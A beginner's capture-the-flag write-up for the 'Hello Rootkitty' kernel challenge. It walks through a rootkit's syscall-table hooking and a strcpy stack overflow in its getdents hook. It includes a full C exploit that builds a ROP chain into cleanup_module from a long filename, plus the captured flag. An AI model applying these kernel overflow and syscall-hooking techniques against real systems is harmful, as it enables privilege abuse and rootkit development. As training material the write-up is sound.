TL;DR

Kernel rootkit hides ecsc_flag_* files but has a buffer overflow in its strcpy(). Create a super long filename to overflow the buffer β†’ control RIP β†’ call cleanup_module() to restore original syscalls β†’ profit! 🐱

Challenge Files: Kernel module (rootkit)


Note: This is my first CTF writeup! At the time I solved this challenge, I was just starting out with heap exploitation. There are probably cleaner/simpler ways to solve this, but this approach worked for me. If you spot improvements, feel free to share! πŸ™‚


Challenge Overview

We’re dealing with a machine infected by the “Hello Rootkitty” rootkit. Some files are hidden and we need to recover their contents. What we know:

  • Certain files can’t be read
  • A kernel module is intercepting syscalls
  • Files starting with ecsc_flag_* are affected

Rootkit Analysis

How it works

The rootkit hooks three key syscalls:

  • getdents - List directory entries (32-bit)
  • getdents64 - List directory entries (64-bit)
  • lstat - Get file status

Hiding mechanism:

// When listing directories, any file starting with "ecsc_flag_" 
// gets its name replaced with "ecsc_flag_XXXX..."
// Example: ecsc_flag_secret123 β†’ ecsc_flag_XXXXXXXXXXX

The length stays the same though - that’s our first hint! πŸ‘€

Key Functions

Looking at the decompiled code:

1. Hook installation (ecsc_start):

int64_t ecsc_start() {
    // Get syscall table address
    uint64_t rax = kallsyms_lookup_name("sys_call_table");
    my_sys_call_table = rax;
    
    // Disable write protection
    uint64_t rdx = __mov_cr_gpr64_cr(cr0);
    original_cr0 = rdx;
    __mov_cr_cr_gpr64(rdx & 0xfffffffffffeffff);
    
    // Hook getdents64 (offset 0x6c8)
    ref_sys_getdents64 = *(rax + 0x6c8);
    *(rax + 0x6c8) = ecsc_sys_getdents64;
    
    // Hook getdents (offset 0x270)
    ref_sys_getdents = *(rax + 0x270);
    *(rax + 0x270) = ecsc_sys_getdents;
    
    // Hook lstat (offset 0x30)
    ref_sys_lstat = *(rax + 0x30);
    *(rax + 0x30) = ecsc_sys_lstat;
    
    // Re-enable write protection
    __mov_cr_cr_gpr64(rdx);
    return 0;
}

2. Cleanup function (cleanup_module):

int64_t cleanup_module() {
    // Disable write protection
    __mov_cr_cr_gpr64(original_cr0 & 0xfffffffffffeffff);
    
    // Restore original syscalls
    *(my_sys_call_table + 0x6c8) = ref_sys_getdents64;
    *(my_sys_call_table + 0x270) = ref_sys_getdents;
    *(my_sys_call_table + 0x30) = ref_sys_lstat;
    
    // Re-enable write protection
    __mov_cr_cr_gpr64(original_cr0);
    return msleep(0x7d0);
}

This function is gold! It restores everything. If we can call it, the files become visible again. πŸ’‘

Vulnerabilities

1. Buffer Overflow 🚨

In ecsc_sys_getdents64 and ecsc_sys_getdents:

void var_70;  // Local buffer - fixed size
strcpy(&var_70, rbx + 0x13);  // NO length check!

The bug:

  • Copies filename without checking length
  • Stack buffer is limited
  • Long filenames overflow the buffer
  • We can control the return address (RIP)!

2. Direct Access Still Works

The rootkit only hooks directory listing functions. Direct access with open(), read(), or stat() works fine if you know the exact filename!

3. Cleanup Function Available

The cleanup_module() function at 0x004003f0 can restore everything. We just need to call it somehow…

Exploitation Strategy

Step 1: Trigger the Crash

Create a file with a super long name starting with ecsc_flag_:

touch ecsc_flag_aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
ls /mnt/share/

Result:

general protection fault: 0000 [#1] NOPTI
RIP: 0010:0x6163626161626261
Kernel panic - Fatal exception

Boom! We control RIP! πŸ’₯

Step 2: Calculate the Offset

Using cyclic from pwntools:

$ cyclic -l 0x6163626161626261
102

Offset to RIP = 102 bytes

Step 3: Get Kernel Addresses

Kernel addresses change due to KASLR, so we need to read them dynamically:

$ cat /proc/kallsyms | grep cleanup_module
ffffffffc020036e t cleanup_module

$ cat /proc/kallsyms | grep sys_exit
ffffffffaf63a390 T sys_exit

Why two addresses?

  • cleanup_module() - Restores original syscalls
  • sys_exit() - Clean exit from kernel space

Step 4: Build the ROP Chain

Our payload structure:

"ecsc_flag_" + [102 bytes padding] + [cleanup_module addr] + [sys_exit addr]

What happens:

  1. Buffer overflows into return address
  2. Function returns to cleanup_module()
  3. Syscalls are restored
  4. Execution continues to sys_exit()
  5. Files become visible! πŸŽ‰

The Exploit

Why Dynamic Address Resolution?

KASLR (Kernel Address Space Layout Randomization) randomizes addresses on each boot. Hardcoded addresses fail every time. We MUST read from /proc/kallsyms at runtime!

Full Exploit Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>

#define PAYLOAD_OFFSET 102

// Parse /proc/kallsyms to find kernel symbol addresses
unsigned long get_kernel_symbol(const char *symbol) {
    FILE *f;
    char line[256];
    char sym[128];
    unsigned long addr = 0;
    
    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        perror("fopen /proc/kallsyms");
        return 0;
    }
    
    // Format: <address> <type> <symbol>
    // Example: ffffffffc020036e t cleanup_module
    while (fgets(line, sizeof(line), f)) {
        if (sscanf(line, "%lx %*c %s", &addr, sym) == 2) {
            if (strcmp(sym, symbol) == 0) {
                fclose(f);
                return addr;
            }
        }
    }
    
    fclose(f);
    return 0;
}

int main(int argc, char **argv) {
    char exploit_filename[512];
    char buffer[1024];
    int fd;
    unsigned long cleanup_addr, exit_addr;

    printf("[*] Reading /proc/kallsyms...\n");
    
    // Get cleanup_module address
    cleanup_addr = get_kernel_symbol("cleanup_module");
    if (!cleanup_addr) {
        fprintf(stderr, "[-] Could not find cleanup_module\n");
        return 1;
    }
    printf("[+] cleanup_module @ 0x%lx\n", cleanup_addr);
    
    // Get sys_exit address
    exit_addr = get_kernel_symbol("sys_exit");
    if (!exit_addr) {
        fprintf(stderr, "[-] Could not find sys_exit\n");
        return 1;
    }
    printf("[+] sys_exit @ 0x%lx\n", exit_addr);

    // Build the payload
    memset(exploit_filename, 0, sizeof(exploit_filename));
    strcpy(exploit_filename, "ecsc_flag_");
    
    // Fill with padding up to RIP offset
    memset(exploit_filename + 10, 'A', PAYLOAD_OFFSET);
    
    // ROP chain: cleanup_module + sys_exit (little-endian!)
    memcpy(exploit_filename + 10 + PAYLOAD_OFFSET, &cleanup_addr, 8);
    memcpy(exploit_filename + 10 + PAYLOAD_OFFSET + 8, &exit_addr, 8);

    printf("[+] Creating exploit file...\n");
    FILE *f = fopen(exploit_filename, "w");
    if (!f) {
        perror("fopen");
        return 1;
    }
    fclose(f);

    printf("[+] Triggering rootkit via getdents...\n");
    // Open current directory and list it - this triggers the hooked syscall
    fd = open(".", O_RDONLY | O_DIRECTORY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    
    // This syscall will hit our exploit
    syscall(SYS_getdents, fd, buffer, sizeof(buffer));
    close(fd);

    printf("[+] Rootkit disabled! Listing secret files:\n");
    system("ls -la ecsc_flag_* 2>/dev/null");
    
    printf("\n[+] File contents:\n");
    system("cat ecsc_flag_* 2>/dev/null");
    
    return 0;
}

Compilation & Execution

$ gcc -o exploit exploit.c
$ ./exploit

Why This Works

Key success factors:

  1. Dynamic address resolution - Reads /proc/kallsyms at runtime to defeat KASLR
  2. Little-endian format - Addresses are copied correctly with memcpy()
  3. ROP chain order - cleanup_module THEN sys_exit
  4. Triggering mechanism - Using getdents syscall to hit the hooked function

Execution Flow

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Create long      β”‚  touch ecsc_flag_AAAA...[ROP chain]
β”‚ filename         β”‚  
β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚
         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ List directory   β”‚  syscall(SYS_getdents, ...)
β”‚ (triggers hook)  β”‚  
β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚
         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Hooked function  β”‚  ecsc_sys_getdents() called
β”‚ processes entry  β”‚  
β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚
         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ strcpy overflow  β”‚  Copies long filename β†’ buffer overflow
β”‚ πŸ’₯ RIP control   β”‚  
β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚
         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ cleanup_module() β”‚  Restores original syscalls
β”‚ executed         β”‚  
β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚
         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ sys_exit()       β”‚  Clean kernel exit
β”‚ executed         β”‚  
β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚
         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Files visible!   β”‚  Rootkit disabled
β”‚ πŸŽ‰               β”‚  
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Successful Exploitation

Execution Output

$ ./exploit
[*] Reading /proc/kallsyms...
[+] cleanup_module @ 0xffffffffc030c36e
[+] sys_exit @ 0xffffffffa263a390
[+] Creating exploit file...
[+] Triggering rootkit via getdents...
[+] Rootkit disabled! Listing secret files:
-rw-r--r-- 1 user user 65 Jan 1 12:00 ecsc_flag_cf785ee0b5944f93dd09bf1b1b2c6da7fadada8e4d325a804d1dde2116676126

[+] File contents:
ECSC{c0d801fb2045ddb0ab27766e52b7654ccde41b5fc00d07fa908fefa30b45b8a5}

Lessons Learned

Kernel exploitation techniques:

  1. Syscall hooking - Rootkits intercept system calls by modifying the syscall table
  2. Buffer overflow in kernel space - Just like userland, but scarier (kernel panics!)
  3. Ret2win in kernel space

Key insights:

  • Kernel bugs are powerful - direct system control
  • KASLR is standard - dynamic address resolution is essential
  • Buffer overflows exist everywhere - even in kernel code
  • Rootkit functionality can be turned against itself

Flag

ECSC{c0d801fb2045ddb0ab27766e52b7654ccde41b5fc00d07fa908fefa30b45b8a5}